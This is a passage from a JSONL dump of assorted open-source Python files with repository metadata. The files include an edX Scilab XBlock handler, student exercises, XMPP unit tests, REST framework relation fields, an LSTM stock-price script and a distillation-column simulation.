instructor_file.namelist()\n\n        self.need_generate = \"generate.sce\" in file_list\n        assert \"check.sce\" in file_list, \"No check.sce in instructor archive.\"\n\n    def do_generate(self):\n\n        self.pregenerated = None\n\n        header = self.get_submission_header(dispatch='set_pregenerated')\n        body = self.get_queue_student_response(dump=False)\n        deep_update(body, {\n            'method': 'generate',\n            'grader_payload': json.dumps({\n                'time_limit_generate': self.time_limit_generate,\n            }),\n        })\n\n        self.send_to_queue(header=header, body=json.dumps(body), state='GENERATING')\n\n    def get_instructor_path(self):\n        return self.instructor_archive_meta.get('fs_path')\n\n    @xqueue_callback\n    def set_pregenerated(self, pregenerated):\n\n        parent = super(ScilabXBlock, self)\n        if hasattr(parent, 'set_pregenerated'):\n            parent.set_pregenerated(pregenerated)\n\n        body = json.loads(pregenerated.body)\n        if body['success']:\n            self.pregenerated = body['content']\n            self.message = None\n        else:\n            self.pregenerated = None\n            self.message = \"При генерации задания произошла ошибка. Пожалуйста, обновите страницу.\"\n\n    @XBlock.handler\n    def download_archive(self, request, suffix):\n        \"\"\"\n        Обработчик скачивания архивов.\n\n        Вызывается в тот момент, когда инструктор нажимает на ссылку \"Скачать архив\".\n        В результате может быть скачан инструкторский архив с проверяющим кодом или\n        архив-ответ студента.\n\n        В данный момент подразумевается, что система оперирует исключительно zip-архивами.\n\n        Если suffix=='instructor', скачивается архив инструктора.\n\n        Если suffix=='student', скачивается архив студента, предоставленный как ответ,\n        sha1 которого содержится в request.querystring.\n\n        :param request:\n        :param suffix: 'instructor' or 'student'\n        :return: webob.Response\n        \"\"\"\n\n        def download(fs_path, filename, content_type='application/zip'):\n            try:\n                file_descriptor = default_storage.open(fs_path)\n                app_iter = iter(partial(file_descriptor.read, BLOCK_SIZE), '')\n                return Response(\n                    app_iter=app_iter,\n                    content_type=content_type,\n                    content_disposition=\"attachment; filename=\" + filename.encode('utf-8'),\n                )\n            except IOError:\n                return Response(\n                    \"File {filename} not found\".format(filename=filename),\n                    status=404,\n                )\n\n        if suffix == 'instructor':\n            return download(\n                self.instructor_archive_meta.get('fs_path'),\n                self.instructor_archive_meta.get('filename')\n            )\n\n        elif suffix == 'student':\n\n            return download(\n                file_storage_path(self.location, request.query_string),\n                request.query_string + '.zip'\n            )\n\n        elif suffix == 'instructor_prev':\n\n            # Скачать архив инструктора, которым было проверено определённое\n            # решение студента. Поскольку мы не сохраняем историю инструкторских\n            # архивов (тольки их сами), то и их имён у нас нет.\n\n            return download(\n                file_storage_path(self.location, request.query_string),\n                request.query_string + '.zip'\n            )\n\n        else:\n            return Response(\"Bad request\", status=400)\n","repo_name":"openeduITMO/ifmo-xblock-scilab","sub_path":"xblock_scilab/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":22147,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29481083989","text":"class FechaHora:\n    def __init__(self):\n        self.fecha = ''\n        self.hora = ''\n\n    def __str__(self):\n        return \"{}/{}/{} {}:{}:{}\".format(self.fecha[6:],self.fecha[3:5],self.fecha[0:2],self.hora[0:2],self.hora[3:5],self.hora[6:])\n\n    def fijarFecha(self,fecha):\n        self.fecha = fecha\n\n    def fijarHora(self,hora):\n        self.hora = hora\n\n    def fijarFechaHora(self,fechahora):\n        self.fecha = fechahora[0:10]\n        self.hora = fechahora[10:18]\n\n    def cambiar(self,parte):\n        dia = parte.find('dd')\n        mes = parte.find('mm')\n        a = parte.find('aa')\n        hora = parte.find('HH')\n        minutos = parte.find('MM')\n        segundos = parte.find('SS')\n        if dia!=-1:\n          d = parte.split('=')\n          if int(d[1])<=31 and int(d[1])>=1:\n            self.fecha[0:2] = d[1]\n          else:\n            print('Error')\n        elif mes!=-1:\n          m = parte.split('=')\n          if int(m[1])>=1 and int(m[1])<=12:\n            self.fecha[3:5] = m[1]\n          else:\n            print('Error')\n        elif a!=-1:\n          A = parte.split('=')\n          self.fecha[6:10] = A[1]\n        elif hora!=-1:\n          h = parte.split('=')\n          self.hora[0:2] = h[1]\n        elif minutos!=-1:\n          M = parte.split('=')\n          self.hora[3:5] = M[1]\n        elif segundos!=-1:\n          s = parte.split('=')\n          self.hora[6:] = s[1]\n\n\nif __name__ == \"__main__\":\n    fh=FechaHora()\n    fh.fijarFechaHora(\"30-09-2015 17:45:00\")\n    print(fh)\n\n    fh.cambiar(\"mm=10\")\n    print(fh)\n\n    fh.fijarHora(\"18:00:00\")\n    fh.cambiar(\"aaaa = 2016\")\n    print(fh)\n           ","repo_name":"pabloschwarzenberg/grader","sub_path":"tema8_ej5/tema8_ej5_9b1fc5df81cadf52164c02bf92678f95.py","file_name":"tema8_ej5_9b1fc5df81cadf52164c02bf92678f95.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18502373421","text":"\"\"\"\nGiven an array of integers A, return the largest integer that\nonly occurs once.\n\nIf no integer occurs once, return -1.\n\n\n\nExample 1:\nInput: [5,7,3,9,4,9,8,3,1]\nOutput: 8\nExplanation:\nThe maximum integer in the array is 9 but it is repeated.\nThe number 8 occurs only once, so it's the answer.\n\nExample 2:\nInput: [9,9,8,8]\nOutput: -1\nExplanation:\nThere is no number that occurs only once.\n\"\"\"\n\n\ndef largest_unique_num(A):\n    answer = -1\n    visited = {}\n\n    for i in A:\n        if i not in visited:\n            visited[i] = 1\n        else:\n            visited[i] += 1\n\n    for k, v in visited.items():\n        if v == 1:\n            answer = max(k, answer)\n    return answer\n\n\nif __name__ == \"__main__\":\n    print(largest_unique_num([5, 7, 3, 9, 4, 9, 8, 3, 1]))\n","repo_name":"candaceleach41/algo_ds_coding_prep","sub_path":"easy/largest_uniq_num.py","file_name":"largest_uniq_num.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73540438970","text":"import setuptools\nimport sys\nversion = \"0.3.0\"\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\ninstall_requires=[\"\"]\n\nsetuptools.setup(\n    name=\"GcodeController\",\n    version=version,\n    description=\"Send gcode commands\",\n    long_description=long_description,\n    long_description_content_type=\"text/x-rst\",\n    url=\"https://github.com/guysoft/remote-office\",\n    author=\"Guy Sheffer\",\n    author_email=\"gusyoft@gmail.com\",\n    license=\"GPLv3\",\n    py_modules=[\"gcodecontroller\"],\n    classifiers=[\n        \"License :: OSI Approved :: MIT License\",\n        \"Programming Language :: Python\",\n        \"Programming Language :: Python :: 3\",\n    ],\n    packages=setuptools.find_packages(where=\"src\"),\n    package_dir={\n        \"\": \"src\",\n    },\n    data_files=[],\n    include_package_data=True,\n    install_requires=install_requires,\n    entry_points={\"console_scripts\": [\"powerbeatsvr=powerbeatsvr.writer:run\"]}\n)\n","repo_name":"guysoft/remote-office","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6535967599","text":"# Name:         struct_client1.py\n# Description:  \n# Author:       honganrong\n# Date:         2019-12-12\n\nimport socket\nimport struct\nimport time\n\nsk = socket.socket()\nsk.connect((\"127.0.0.1\", 8999))\n\ntime.sleep(5)\n\n# 先收长度\nbs_msg_len = sk.recv(4)\n# 转换成数字\nbs_len = struct.unpack(\"i\", bs_msg_len)[0]\nbs = sk.recv(bs_len)\nprint(bs.decode(\"utf-8\"))\n\n\n# 先收长度\nbs_msg_len = sk.recv(4)\n# 转换成数字\nbs_len = struct.unpack(\"i\", bs_msg_len)[0]\nbs = sk.recv(bs_len)\nprint(bs.decode(\"utf-8\"))","repo_name":"Hargeek/python-nianbao-struct","sub_path":"struct_client1.py","file_name":"struct_client1.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"23387036934","text":"import pandas as pd\r\nimport numpy as np\r\nfrom sklearn import tree\r\nimport graphviz\r\nfrom sklearn.model_selection import cross_val_score\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.tree import export_graphviz\r\nimport pydotplus\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.datasets import load_iris\r\nfrom sklearn import tree\r\nfrom subprocess import check_call\r\nimport pydot\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.model_selection import train_test_split\r\nfrom tqdm import tqdm_notebook\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Activation\r\nfrom keras.layers import LSTM\r\nfrom keras.layers import Dropout\r\nfrom keras import optimizers\r\nfrom keras.callbacks import CSVLogger\r\nimport os\r\nfrom sklearn.model_selection import StratifiedKFold\r\nfrom keras.optimizers import SGD\r\nimport sys\r\nimport time\r\n\r\ndf_ge = pd.read_csv('IAF2.csv', sep=',')\r\nprint(df_ge.tail())\r\nplt.figure()\r\nplt.plot(df_ge[\"Open\"])\r\nplt.plot(df_ge[\"High\"])\r\nplt.plot(df_ge[\"Low\"])\r\nplt.plot(df_ge[\"Close\"])\r\nplt.title('Iran Aluminium stock price history')\r\nplt.ylabel('Price (USD)')\r\nplt.xlabel('Days')\r\nplt.legend(['Open','High','Low','Close'], loc='upper left')\r\nplt.show()\r\nplt.figure()\r\nplt.plot(df_ge[\"Volume\"])\r\nplt.title('Iran Aluminium stock volume history')\r\nplt.ylabel('Volume')\r\nplt.xlabel('Days')\r\nplt.show()\r\nprint(\"checking if any null values are present\\n\", df_ge.isna().sum())\r\n\r\n#stime = time.time()\r\ntrain_cols = [\"Open\",\"High\",\"Low\",\"Close\",\"Volume\"]\r\ndf_train, df_test = train_test_split(df_ge, train_size=0.8, test_size=0.2, shuffle=False)\r\nprint(\"Train and Test size\", len(df_train), len(df_test))\r\n# scale the feature MinMax, build array\r\nx = df_train.loc[:,train_cols].values\r\nmin_max_scaler = MinMaxScaler()\r\nx_train = min_max_scaler.fit_transform(x)\r\nx_test = min_max_scaler.transform(df_test.loc[:,train_cols])\r\n\r\nTIME_STEPS = 100\r\ndef build_timeseries(mat, y_col_index):\r\n    # y_col_index is the index of column that would act as output column\r\n    # total number of time-series samples would be len(mat) - TIME_STEPS\r\n\r\n    dim_0 = mat.shape[0] - TIME_STEPS\r\n    dim_1 = mat.shape[1]\r\n    x = np.zeros((dim_0, TIME_STEPS, dim_1))\r\n    y = np.zeros((dim_0,))\r\n\r\n    for i in tqdm_notebook(range(dim_0)):\r\n        x[i] = mat[i:TIME_STEPS + i]\r\n        y[i] = mat[TIME_STEPS + i, y_col_index]\r\n    print(\"length of time-series i/o\", x.shape, y.shape)\r\n    return x, y\r\n\r\ndef trim_dataset(mat, batch_size):\r\n    \"\"\"\r\n    trims dataset to a size that's divisible by BATCH_SIZE\r\n    \"\"\"\r\n    no_of_rows_drop = mat.shape[0]%batch_size\r\n    if(no_of_rows_drop > 0):\r\n        return mat[:-no_of_rows_drop]\r\n    else:\r\n        return mat\r\n\r\n\r\nBATCH_SIZE = 2\r\nx_t, y_t = build_timeseries(x_train, 4)\r\nx_t = trim_dataset(x_t, BATCH_SIZE)  # BATCH_SIZE\r\ny_t = trim_dataset(y_t, BATCH_SIZE)\r\nx_temp, y_temp = build_timeseries(x_test, 4)\r\nx_val, x_test_t = np.split(trim_dataset(x_temp, BATCH_SIZE), 2)\r\ny_val, y_test_t = np.split(trim_dataset(y_temp, BATCH_SIZE), 2)\r\n\r\n\r\nlstm_model = Sequential()\r\nlstm_model.add(LSTM(100, batch_input_shape=(BATCH_SIZE, TIME_STEPS, x_t.shape[2]), dropout=0.0, recurrent_dropout=0.0, stateful=True,     kernel_initializer='random_uniform'))\r\nlstm_model.add(Dropout(0.5))\r\nlstm_model.add(Dense(20,activation='relu'))\r\nlstm_model.add(Dense(1,activation='sigmoid'))\r\noptimizer = optimizers.RMSprop(lr=1)\r\nsgd = SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True)\r\nlstm_model.compile(loss='mean_squared_error', optimizer=sgd) #'categorical_crossentropy'\r\nmodel = lstm_model\r\n\r\ncsv_logger = CSVLogger(os.path.join( 'CSVLOG' + '.csv'), append=True)\r\n\r\nhistory = model.fit(x_t, y_t, epochs=120, verbose=2, batch_size=BATCH_SIZE,\r\n                    shuffle=False, validation_data=(trim_dataset(x_val, BATCH_SIZE),\r\n                    trim_dataset(y_val, BATCH_SIZE)), callbacks=[csv_logger])\r\n\r\n# Keras fit returns keras.callbacks.history object which stores loss info\r\n\r\nplt.figure()\r\nplt.plot(history.history['loss'])\r\nplt.plot(history.history['val_loss'])\r\nplt.title('Model loss')\r\nplt.ylabel('Loss')\r\nplt.xlabel('Epoch')\r\nplt.legend(['Train', 'Test'], loc='upper left')\r\nplt.show()\r\n\r\n# scores = model.evaluate(x_t, y_t, verbose=0)\r\n# print(\"Model Accuracy: %.2f%%\" % (scores[1]*100))","repo_name":"abolhasani/OldStockML","sub_path":"LSTM.py","file_name":"LSTM.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31840681999","text":"from twisted.trial import unittest\nfrom twisted.words.xish import domish\nfrom twisted.words.protocols.jabber.jid import JID\n\nfrom wokkel import generic\nfrom wokkel.test.helpers import XmlStreamStub\n\nNS_VERSION = 'jabber:iq:version'\n\nclass VersionHandlerTest(unittest.TestCase):\n    \"\"\"\n    Tests for L{wokkel.generic.VersionHandler}.\n    \"\"\"\n\n    def test_onVersion(self):\n        \"\"\"\n        Test response to incoming version request.\n        \"\"\"\n        self.stub = XmlStreamStub()\n        self.protocol = generic.VersionHandler('Test', '0.1.0')\n        self.protocol.xmlstream = self.stub.xmlstream\n        self.protocol.send = self.stub.xmlstream.send\n        self.protocol.connectionInitialized()\n\n        iq = domish.Element((None, 'iq'))\n        iq['from'] = 'user@example.org/Home'\n        iq['to'] = 'example.org'\n        iq['type'] = 'get'\n        query = iq.addElement((NS_VERSION, 'query'))\n        self.stub.send(iq)\n\n        response = self.stub.output[-1]\n        self.assertEquals('user@example.org/Home', response['to'])\n        self.assertEquals('example.org', response['from'])\n        self.assertEquals('result', response['type'])\n        self.assertEquals(NS_VERSION, response.query.uri)\n        elements = list(domish.generateElementsQNamed(response.query.children,\n                                                      'name', NS_VERSION))\n        self.assertEquals(1, len(elements))\n        self.assertEquals('Test', unicode(elements[0]))\n        elements = list(domish.generateElementsQNamed(response.query.children,\n                                                      'version', NS_VERSION))\n        self.assertEquals(1, len(elements))\n        self.assertEquals('0.1.0', unicode(elements[0]))\n\n\n\nclass XmlPipeTest(unittest.TestCase):\n    \"\"\"\n    Tests for L{wokkel.generic.XmlPipe}.\n    \"\"\"\n\n    def setUp(self):\n        self.pipe = generic.XmlPipe()\n\n\n    def test_sendFromSource(self):\n        \"\"\"\n        Send an element from the source and observe it from the sink.\n        \"\"\"\n        def cb(obj):\n            called.append(obj)\n\n        called = []\n        self.pipe.sink.addObserver('/test[@xmlns=\"testns\"]', cb)\n        element = domish.Element(('testns', 'test'))\n        self.pipe.source.send(element)\n        self.assertEquals([element], called)\n\n\n    def test_sendFromSink(self):\n        \"\"\"\n        Send an element from the sink and observe it from the source.\n        \"\"\"\n        def cb(obj):\n            called.append(obj)\n\n        called = []\n        self.pipe.source.addObserver('/test[@xmlns=\"testns\"]', cb)\n        element = domish.Element(('testns', 'test'))\n        self.pipe.sink.send(element)\n        self.assertEquals([element], called)\n\n\n\nclass RequestTest(unittest.TestCase):\n    \"\"\"\n    Tests for L{generic.Request}.\n    \"\"\"\n\n    def setUp(self):\n        self.request = generic.Request()\n\n\n    def test_toElementStanzaKind(self):\n        \"\"\"\n        A request is an iq stanza.\n        \"\"\"\n        element = self.request.toElement()\n        self.assertIdentical(None, element.uri)\n        self.assertEquals('iq', element.name)\n\n\n    def test_toElementStanzaType(self):\n        \"\"\"\n        The request has type 'get'.\n        \"\"\"\n        self.assertEquals('get', self.request.stanzaType)\n        element = self.request.toElement()\n        self.assertEquals('get', element.getAttribute('type'))\n\n\n    def test_toElementStanzaTypeSet(self):\n        \"\"\"\n        The request has type 'set'.\n        \"\"\"\n        self.request.stanzaType = 'set'\n        element = self.request.toElement()\n        self.assertEquals('set', element.getAttribute('type'))\n\n\n    def test_toElementStanzaID(self):\n        \"\"\"\n        A request, when rendered, has an identifier.\n        \"\"\"\n        element = self.request.toElement()\n        self.assertNotIdentical(None, self.request.stanzaID)\n        self.assertEquals(self.request.stanzaID, element.getAttribute('id'))\n\n\n    def test_toElementRecipient(self):\n        \"\"\"\n        A request without recipient, has no 'to' attribute.\n        \"\"\"\n        self.request = generic.Request(recipient=JID('other@example.org'))\n        self.assertEquals(JID('other@example.org'), self.request.recipient)\n        element = self.request.toElement()\n        self.assertEquals(u'other@example.org', element.getAttribute('to'))\n\n\n    def test_toElementRecipientNone(self):\n        \"\"\"\n        A request without recipient, has no 'to' attribute.\n        \"\"\"\n        element = self.request.toElement()\n        self.assertFalse(element.hasAttribute('to'))\n\n\n    def test_toElementSender(self):\n        \"\"\"\n        A request with sender, has a 'from' attribute.\n        \"\"\"\n        self.request = generic.Request(sender=JID('user@example.org'))\n        self.assertEquals(JID('user@example.org'), self.request.sender)\n        element = self.request.toElement()\n        self.assertEquals(u'user@example.org', element.getAttribute('from'))\n\n\n    def test_toElementSenderNone(self):\n        \"\"\"\n        A request without sender, has no 'from' attribute.\n        \"\"\"\n        element = self.request.toElement()\n        self.assertFalse(element.hasAttribute('from'))\n\n\n    def test_timeoutDefault(self):\n        \"\"\"\n        The default is no timeout.\n        \"\"\"\n        self.assertIdentical(None, self.request.timeout)\n","repo_name":"thepaul/wokkel","sub_path":"wokkel/test/test_generic.py","file_name":"test_generic.py","file_ext":"py","file_size_in_byte":5272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30490482279","text":"\"\"\"\nSerializer fields that add support for relationships with resources which have\ncomposite keys.\n\"\"\"\n\nfrom rest_framework import relations\nfrom rest_framework.fields import get_attribute\n\n\nclass HyperlinkedRelatedField(relations.HyperlinkedRelatedField):\n    \"\"\"\n    A read-only field that represents the identity URL for a related resource.\n\n    Includes support for related resources with composite identifier keys.\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        self.lookup_fields = kwargs.pop('lookup_fields', None)\n        self.lookup_url_kwargs = kwargs.pop('lookup_url_kwargs', self.lookup_fields)\n        super().__init__(*args, **kwargs)\n\n    def get_url(self, obj, view_name, request, format):  # pylint: disable=redefined-builtin\n\n        # Unsaved objects will not yet have a valid URL.\n        if hasattr(obj, 'pk') and obj.pk in (None, ''):\n            return None\n\n        if self.lookup_fields:\n            kwargs = {\n                key: get_attribute(obj, value.split('__')) for key, value\n                in zip(self.lookup_url_kwargs, self.lookup_fields)\n            }\n            return self.reverse(view_name, kwargs=kwargs, request=request, format=format)\n\n        return super().get_url(obj, view_name, request, format)\n\n    def use_pk_only_optimization(self):\n        return False\n\n\nclass HyperlinkedIdentityField(HyperlinkedRelatedField):\n    \"\"\"\n    A read-only field that represents the identity URL for an object, itself.\n\n    Includes support for resources with composite identifier keys.\n    \"\"\"\n    def __init__(self, view_name=None, **kwargs):\n        assert view_name is not None, 'The `view_name` argument is required.'\n        kwargs['read_only'] = True\n        kwargs['source'] = '*'\n        super().__init__(view_name=view_name, **kwargs)\n","repo_name":"openedx/blockstore","sub_path":"blockstore/apps/rest_api/relations.py","file_name":"relations.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"77"}
+{"seq_id":"22615587927","text":"\"\"\"Modelos matematicos para operaciones unitarias de destilación\"\"\"\nimport logging\n\nimport numpy as np\n\nfrom simnav.metodos_matematicos import metodo_tomas\n\n\nclass DestilacionSemiRigurosa:\n    \"\"\"\n    Modelo matematico estacionario de una torre de destilacion de platos para sistemas\n    multicomponentes con un condensador parcial resuelto con una matriz tridiagonal\n    \"\"\"\n\n    def __init__(self, numero_platos=10, destilado=50, reflujo=1.5, alimentaciones=[],\n                 salidas_laterales=[], paquete_termodinamico=None, presion=101325):\n        \"\"\"\n        :param numero_platos: numero de platos de la torre\n        :param destilado: flujo de destilado de la torre (kmol/h)\n        :param reflujo: relacion de reflujo de la torre\n        :param alimentaciones: lista de corrientes de alimentacion [plato, corriente]\n        :param salidas_laterales: lista de flujos (kmol/h) de salida lateral [plato, flujo]\n        :param paquete_termodinamico: instancia del un paquete termodinamico\n        :param presion:\n        \"\"\"\n        self.numero_platos = numero_platos  # Numero de platos de la torre\n        self.reflujo = reflujo  # Relación de reflujo\n        self.destilado = destilado  # Flujo de destilado de la torre\n        self.alimentaciones = alimentaciones  # en la forma (corriente, plato)\n        self.salidas_laterales = salidas_laterales  # en la forma (flujo, plato)\n        self.presion = presion\n        self.propiedades = paquete_termodinamico\n        self.condensador = \"Parcial\"\n\n        # Logging\n        self.logger = logging.getLogger(__name__)\n\n    def simular(self):\n        \"\"\"\n        Determina las composciciones, flujos y temperaturas plato a plato en la torre\n        \"\"\"\n        # Se crean referencias de atajo para los parametros de la torre\n        N, R, D = self.numero_platos, self.reflujo, self.destilado\n        NC = len(self.propiedades.compuestos)\n\n        # Tipo de condensador\n        condensador_parcial = self.condensador == 'Parcial'\n\n        # Presion de cada plato. Considerando que no hay caida de presion.\n        # TODO: Considerar caida de presion\n        P = np.array([self.presion] * N)\n\n        # Se inicializan los array que contendran las variables de calculo plato plato\n        Q = np.zeros(N)  # Flujo de calor\n        SL = np.zeros(N)  # Retiro de liquido  #TODO: Esto debe llenarse con corrientes salida\n        SV = np.zeros(N)  # Retiro de vapor\n        F = np.zeros(N)  # Flujo de materia de entrada\n        zF = np.zeros((N, NC))  # Composicion de las corrientes de entrada\n        hF = np.zeros(N)  # Entalpia de la alimentacion\n        V = np.zeros(N)  # Flujo vapor\n        V_nuevo = np.zeros(N)  # Valores nuevos de flujo de vapor. Para calculo de error\n        x = np.zeros((N, NC))  # Composicion de los componentes plato a plato\n\n        # Se toman los parametros necesarios de las corrientes de entrada\n        self.logger.debug('Tomando los datos de las alimentaciones')\n        for plato, corriente in self.alimentaciones:\n            indice = plato - 1  # Los inidices de los array comienzan en 0. Los platos en 1\n            print(corriente.estado)\n            F[indice] = corriente.flujo\n            hF[indice] = corriente.entalpia_especifica\n            zF[indice] = corriente.composicion\n\n        # Valores iniciales de calculo\n        if condensador_parcial:\n            V[0] = D  # El flujo de vapor de salida por el tope (etapa 0) es igual al destilado\n            V[1] = D * (R + 1)  # Flujo de vapor\n            V[2:] = V[1]  # Se toma como valores iniciales para el flujo de vapor V1\n        else:\n            V[0] = D * (R + 1)\n            V[1:] = V[0]  # TODO: Esto puede ser mejorado\n\n        # TODO: La temperatura inicial deberia ser en funcion de las temperaturas de entrada\n        T = np.linspace(300, N * 10, N)  # Temperatura plato a plato con valores iniciales\n\n        # Se inicializan arrays para las variables de espacio de estado del modelo\n        A = np.zeros(N)\n        sum_materia = np.zeros(N)\n\n        # Sumatoria de materia alimentada y extraida en cada etapa\n        for n in range(N):\n            sum_materia[n] = (F[:n + 1] - SV[:n + 1] - SL[:n + 1]).sum()\n\n        # Valores iniciales de error de las variables T y V para iniciar iteracion\n        errorT = 1000\n        errorV = 1000\n\n        # Contadores de iteraciones\n        contador_T = 0\n        contador_V = 0\n        self.logger.debug('Iniciando Iteración de la destilación')\n        # La iteración se realiza con 2 ciclos. El ciclo interior corrige la temperatura de los\n        # y el exterior el flujo de vapor por los platos\n        while errorV >= 0.0001:\n            while errorT >= 0.0001:\n                # Se inicia calculando el coeficiente de reparto\n                K = self.propiedades.coeficiente_reparto(temperatura=T,\n                                                         presion=self.presion)\n                # Se calculan los parametros A, B, C y D.\n                A[1:] = V[1:] + sum_materia[:-1] - D  # A[0] siempre es cero\n\n                for i in range(NC):\n                    B = -(np.append(V, 0)[1:] + sum_materia - D + SL + (V + SV) * K[:, i])\n                    C = np.append(V[1:] * K[1:, i], 0)  # Se agrega un cero al final del array\n                    E = -F * zF[:, i]\n\n                    # Se utilizan las variables de estado calculadas para el calculo de\n                    # composicion plato a plato usando el metodo de tomas para resolucion de\n                    # matrices tridiagonales\n                    x[:, i] = metodo_tomas(A, B, C, E)\n\n                # Se normalizan las composiciones.\n                for n in range(N):\n                    x[n, :] = x[n, :] / sum(x[n, :])\n\n                # Se determina la temperatura de burbuja de cada plato\n                # TODO: A partir de la segunda iteración se deberia utilizar la temperatura\n                # Calculada enteriormente\n                try:\n                    temp_burbuja = self.propiedades.temperatura_burbuja(composicion_liquido=x,\n                                                                        presion=P)\n                except RuntimeError as e:\n                    print(contador_T)\n                    print(contador_V)\n                    raise e\n\n                # Calculo de error para determinar paro de iteracion de ciclo interno\n                errorT = np.sum((temp_burbuja - T) ** 2)\n                T = temp_burbuja\n\n                contador_T += 1\n                if contador_T >= 200:\n                    raise RuntimeError('Contador de ciclo de temperatura over 200')\n\n            # Calculo de composicion de gas\n            y = K * x\n\n            # Calculo de flujo de liquido en la torre\n            L = np.append(V, 0)[1:] + sum_materia - D\n\n            # Calculo de entalpias de la alimentacion y plato a plato\n            hV = self.propiedades.entalpia_vapor(composicion=y,\n                                                 temperatura=T)\n            hL = self.propiedades.entalpia_liquido(composicion=x,\n                                                   temperatura=T)\n            # Calculo de calor en condensador y rehervidor\n            Q[0] = (-D * hV[0] - L[0] * hL[0] + V[1] * hV[1])  # Calor condensador\n\n            # Calor rehervidor\n            Q[-1] = Q[0] + D * hV[0] + L[-1] * hL[-1] - np.sum(F * hF - SV * hV - SL * hL)\n\n            print(Q[0], Q[-1])\n\n            # Calculo del flujo de vapor en la torre\n            for n in range(N - 1, 0, -1):\n                if n == N - 1:\n                    V_nuevo[n] = ((L[n - 1] * hL[n - 1] - (L[n] + SL[n]) * hL[n] + F[n] * hF[n]\n                                   + Q[n]) / hV[n] - SV[n])\n                else:\n                    V_nuevo[n] = ((L[n - 1] * hL[n - 1] - (L[n] + SL[n]) * hL[n] +\n                                   V[n + 1] * hV[n + 1] + F[n] * hF[n] + Q[n]) / hV[n] - SV[n])\n\n            # Criterio de error en el flujo de vapor\n            if condensador_parcial:\n                errorV = np.sum((V_nuevo[2:] - V[2:]) ** 2)\n                V[2:] = V_nuevo[2:]\n\n            else:\n                errorV = np.sum((V_nuevo[1:] - V[1:]) ** 2)\n                V[1:] = V_nuevo[1:]\n\n            # Reseteando el error en la temperatura\n            errorT = 100\n            contador_V += 1\n            contador_T = 0\n            if contador_V >= 100:\n                raise RuntimeError('Contador de ciclo de vapor over 200')\n\n        return {\n            'vapor': V,\n            'liquido': L,\n            'temperatura': T,\n            'fraccion_liquido': x,\n            'fraccion_vapor': y,\n            'contador_ciclo_vapor': contador_V,\n        }","repo_name":"julionav/SIMNAV","sub_path":"simnav/opus/destilacion.py","file_name":"destilacion.py","file_ext":"py","file_size_in_byte":8650,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"40320207649","text":"n=input()\nl=list(n)\ndef prime(n):\n    c=0\n    for i in range(1,n+1):\n        if n%i==0:\n            c+=1\n    return c==2\nlist1=[int(i) for i in l]\nopt=[prime(i) for i in list1]\nprint(\"Mega Prime\" if prime(int(n)) and all(opt) else \"Not Mega Prime\")","repo_name":"Saikrishna4468/codemind-python","sub_path":"mega_prime.py","file_name":"mega_prime.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"34812276510","text":"import sys\nimport os\nimport numpy as np\n\n# noinspection PyUnresolvedReferences\nfrom analyze_log import read_stats, read_yuan_stats\n\n\ndef get_scenario(path):\n    fname = os.path.split(path)[-1]\n    tname = fname.split('.')[0]\n    return tname.split('-')[0]\n\n\ndef merge_stats(stats, key_name='avg_time'):\n    nstats = {}\n    for k, v in stats.items():\n        sc = get_scenario(k)\n        if sc not in nstats.keys():\n            nstats[sc] = [v[key_name]]\n        else:\n            nstats[sc].append(v[key_name])\n\n    keys = list(nstats.keys())\n    for k in keys:\n        nstats[k] = np.mean(nstats[k])\n\n    return nstats\n\n\ndef print_stats(stats):\n    for i, sc in enumerate(SCENARIOS):\n        row = '& %s' % sc\n        for col in COLS:\n            row += ' & %.2f' % stats[col][sc]\n        lne = '\\cline{2-%d}' % len(SCENARIOS) if i < len(SCENARIOS) - 1 \\\n            else '\\Xhline{3\\\\arrayrulewidth}'\n        row += ' \\\\\\\\ %s' % lne\n        print(row)\n\n\nif __name__ == '__main__':\n    ROOT_DIR = '.'\n    SET = sys.argv[1]\n    COLS = ('yuan', 'prop2', 'prop2-random', 'prop3_1', 'prop3_1-random')\n    SCENARIOS = ('br', 'cer', 'fcr', 'mcr', 'rfc', 'rmc', 'rr')\n    ALL_STATS = {}\n\n    # Get Yuan stats\n    odir = os.path.join(ROOT_DIR, 'yuan', 'best')\n    sdir = os.path.join(odir, SET)\n    stats_ = read_yuan_stats(os.path.join(sdir, 'log.txt'))\n    ALL_STATS['yuan'] = merge_stats(stats_, key_name='time')\n\n    # Get other stats\n    for cl in COLS[1:]:\n        odir = os.path.join(ROOT_DIR, cl)\n        sdir = os.path.join(odir, SET)\n        stats_ = read_stats(os.path.join(sdir, 'log.txt'))\n        ALL_STATS[cl] = merge_stats(stats_)\n\n    print_stats(ALL_STATS)\n","repo_name":"lanPN85/wusn","sub_path":"out/print_time.py","file_name":"print_time.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
